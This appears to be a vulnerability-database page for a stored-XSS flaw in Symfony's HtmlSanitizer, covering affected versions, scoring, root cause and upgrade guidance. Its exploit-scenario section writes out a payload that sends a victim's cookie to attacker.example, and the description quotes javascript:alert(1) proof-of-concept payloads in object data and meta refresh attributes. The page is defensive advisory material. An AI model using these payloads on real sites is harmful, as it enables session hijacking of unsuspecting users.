Skip to main content

Symfony HtmlSanitizer EUVDEUVD-2026-44389

| CVE-2026-48761 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-15 https://github.com/symfony/symfony GHSA-x5qj-865h-mgvm
5.3
CVSS 4.0 · Vendor: https://github.com/symfony/symfony
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify app using non-default HtmlSanitizer config
  2. Delivery
    Submit HTML with javascript: URL in omitted attribute (data/codebase/longdesc/meta content)
  3. Exploit
    Sanitizer omits URL validation, stores payload unchanged
  4. Execution
    Victim loads page containing stored payload
  5. Persist
    Browser evaluates javascript: URI
  6. Impact
    Attacker executes JS in victim session context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application uses Symfony HtmlSanitizer with a non-default configuration that explicitly allows at least one of the following element-attribute pairs: object with data, applet with codebase, applet with archive, object with codebase, iframe with longdesc, img with longdesc, or meta with content (the last also reachable through allowStaticElements() when rendering in head context). None of these element-attribute combinations are present in Symfony's default W3CReference::BODY_ELEMENTS allow-list; object, applet, and iframe are explicitly absent from body-context defaults, and meta requires an explicit head-context opt-in. Additionally, the application must accept and persist user-supplied HTML that is then rendered to other users (e.g., comment systems, rich-text editors, email preview). Exploitation of the stored-XSS vector requires victim page load (passive user interaction). Authentication requirements at the submission layer are application-defined and not determined by the library itself.

Impact

No official CVSS vector was published; all metric assessments below are independently derived. The vulnerability is not in CISA KEV and no standalone public exploit repository has been identified, though functional proof-of-concept payloads (javascript:alert(1) in data, codebase, archive, longdesc, and meta content attributes) are embedded in the vendor advisory itself. EPSS data was not available. Real-world risk is tightly scoped by configuration: only applications that explicitly call allowElement('object', ['data']), allowElement('applet', ['codebase']), allowElement('applet', ['archive']), allowElement('iframe', ['longdesc']), allowElement('img', ['longdesc']), or allow meta with content (including via allowStaticElements() in head context) are exposed. This limits the vulnerable population to a subset of Symfony HtmlSanitizer integrators, but within that population the impact is genuine stored XSS - an attacker who can submit user-generated HTML can persistently execute JavaScript in victim browser sessions. The credibility of the report (Trail of Bits researcher, Nicolas Grekas fix) and the availability of patch releases across all active Symfony branches argue for prompt upgrade even where the configuration risk is low.

Exploit ScenarioDerived

An attacker submits a comment or rich-text post to an application whose HtmlSanitizerConfig has been configured with allowElement('object', ['data']), including the payload '<object data="javascript:fetch(https://attacker.example/steal?c=+document.cookie)">click</object>'. The sanitizer, lacking data in its URL attribute list, passes the javascript: URI through unchanged and the application stores it. When any authenticated victim loads the page containing that comment, the browser evaluates the javascript: URI and exfiltrates their session cookie to the attacker-controlled endpoint. The meta refresh variant requires no user click - a stored '<meta http-equiv="refresh" content="0; url=javascript:…">' in a head-context render fires immediately on page load.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 15, 2026

Stored XSS in the Symfony HtmlSanitizer component (symfony/html-sanitizer) allows injection of javascript: scheme URLs through HTML attributes not covered by the library's URL sanitization allow-list. The UrlAttributeSanitizer hardcodes a fixed set of URL-bearing attributes to sanitize, omitting data (on object), codebase and archive (on applet), and longdesc (on iframe/img); a related gap allows javascript: URLs embedded in meta http-equiv=refresh content values to pass through unchanged. Only non-default configurations that explicitly opt in to those element-attribute combinations via allowElement() or allowAttribute() are affected - default Symfony configurations are confirmed safe. No public exploit code has been identified at time of analysis, though the vendor advisory includes functional proof-of-concept payloads; the issue was reported by Scott Arciszewski of Trail of Bits.

RemediationAI

Upgrade symfony/html-sanitizer (or symfony/symfony) to the patched releases: 6.4.41 for the 6.x series, 7.4.13 for the 7.x series, or 8.0.13 for the 8.0.x series, as documented in the security advisory at https://github.com/symfony/symfony/security/advisories/GHSA-x5qj-865h-mgvm; the patch commit is https://github.com/symfony/symfony/commit/069a70f9f26e61e9de3b7f9a864a86ed24b36bd0. If an immediate upgrade is not possible, audit every HtmlSanitizerConfig instance in the application and remove any explicit allowElement() or allowAttribute() calls that permit object with data, applet with codebase or archive, object with codebase, iframe or img with longdesc, or meta with content - removing these allowances eliminates the attack surface entirely but may break intentional rich-content features. Applications that rely on meta refresh functionality should delay that workaround until the patch can be applied, as removing the attribute may disrupt redirect-driven flows. No generic compensating controls (WAF rules, CSP) reliably substitute for the library-level fix because the payload reaches stored state before any response-phase control acts on it.

Affected VersionsENISA

symfony 8.0.0-BETA1, < 8.0.13
symfony 7.0.0-BETA1, < 7.4.13
html-sanitizer 7.0.0-BETA1, < 7.4.13
html-sanitizer 8.0.0-BETA1, < 8.0.13
symfony 6.1.0, < 6.4.41
html-sanitizer 6.1.0, < 6.4.41

Affected Packages

composer symfony/html-sanitizer fix: 6.4.41, 7.4.13, 8.0.13
composer symfony/symfony fix: 6.4.41, 7.4.13, 8.0.13
euvd html_sanitizer_6_1_0 fix: 6.4.41
euvd html_sanitizer_7_0_0_beta1 fix: 7.4.13
euvd html_sanitizer_8_0_0_beta1 fix: 8.0.13
euvd symfony_6_1_0 fix: 6.4.41
euvd symfony_7_0_0_beta1 fix: 7.4.13
euvd symfony_8_0_0_beta1 fix: 8.0.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 8 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Symfony HtmlSanitizer component (composer packages symfony/html-sanitizer and symfony/symfony, CWE-79) implements an allow-list-driven HTML sanitizer. Its UrlAttributeSanitizer class maintains a hardcoded list of attributes whose values are passed through UrlSanitizer::sanitize() for scheme validation (javascript: rejection), host allow-listing, and BiDi checks. That list - src, href, lowsrc, background, ping, action, formaction, poster, cite - omits several HTML attributes that also carry navigable or executable URLs: data on object elements, codebase and archive on applet and object elements, and longdesc on iframe and img elements. A second class of gap affects meta http-equiv=refresh: that element encodes its URL inside the composite content attribute (e.g., 0; url=javascript:alert(1)), making it undetectable by a per-attribute-name sanitizer. The root cause (CWE-79) is an incomplete output filter - the sanitizer correctly handles known URL sinks but its enumeration of those sinks is incomplete. The fix adds data, codebase, archive, and longdesc to UrlAttributeSanitizer and introduces a new MetaRefreshAttributeSanitizer that parses the delay;url= syntax and subjects the embedded URL to the same UrlSanitizer pipeline.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/symfony/symfony) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-accessible stored XSS with scope change; PR:N since the sanitizer layer imposes no auth requirement; UI:R as victim page load is needed to trigger execution.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/symfony/symfony).

CVSS VectorVendor: https://github.com/symfony/symfony

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 14, 2026 - 20:22 NVD
5.3 (MEDIUM)

DescriptionCVE.org

Description

Symfony\Component\HtmlSanitizer\Visitor\AttributeSanitizer\UrlAttributeSanitizer::getSupportedAttributes() enumerates the attribute names whose values are scrubbed through UrlSanitizer::sanitize() (scheme and host allow-lists, javascript: rejection, BiDi check, etc.). The list is ['src', 'href', 'lowsrc', 'background', 'ping', 'action', 'formaction', 'poster', 'cite']. Other URL-bearing attributes are absent: <object data=…>, <applet codebase=…>, <applet archive=…> and <object archive=…>, <iframe longdesc=…> and <img longdesc=…>. When an integrator opts these elements/attributes in via allowElement('object', ['data']), allowElement('applet', ['codebase']), etc., or via allowAttribute(), no URL sanitization runs: data="javascript:alert(1)" and similar payloads ship through unchanged into the output, enabling stored XSS.

<meta http-equiv="refresh" content="0; url=…"> is the same class of bug routed differently: the URL is embedded inside a multi-field content attribute that the per-attribute sanitizer cannot detect from the attribute name alone. Integrators who enable <meta> with the content attribute (e.g. via allowStaticElements()) see content="0; url=javascript:alert(1)" pass through, producing a refresh-driven navigation to a javascript: URL.

Default configurations are not affected: <object>, <applet> and <iframe> are not in W3CReference::BODY_ELEMENTS and <meta> requires an explicit opt-in to <head> context. The vulnerability surface is integrators who explicitly allow any of those elements together with the listed URL-bearing attributes.

Resolution

UrlAttributeSanitizer now also routes data, codebase, archive and longdesc through UrlSanitizer::sanitize(). A new MetaRefreshAttributeSanitizer registered as a default attribute sanitizer detects the <delay>; url=<url> syntax inside <meta content>, sanitizes the embedded URL, and drops the attribute if the URL is rejected; non-refresh meta content values are passed through unchanged.

The patches for this issue are available here for branch 6.4 (and forward-ported to 7.4, 8.0 and 8.1).

Credits

Symfony would like to thank Scott Arciszewski (Trail of Bits) for reporting the issue and Nicolas Grekas for providing the fix.

Threat Intelligence Overview

EPSS Score
0.4%
Top 64% exploitable
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy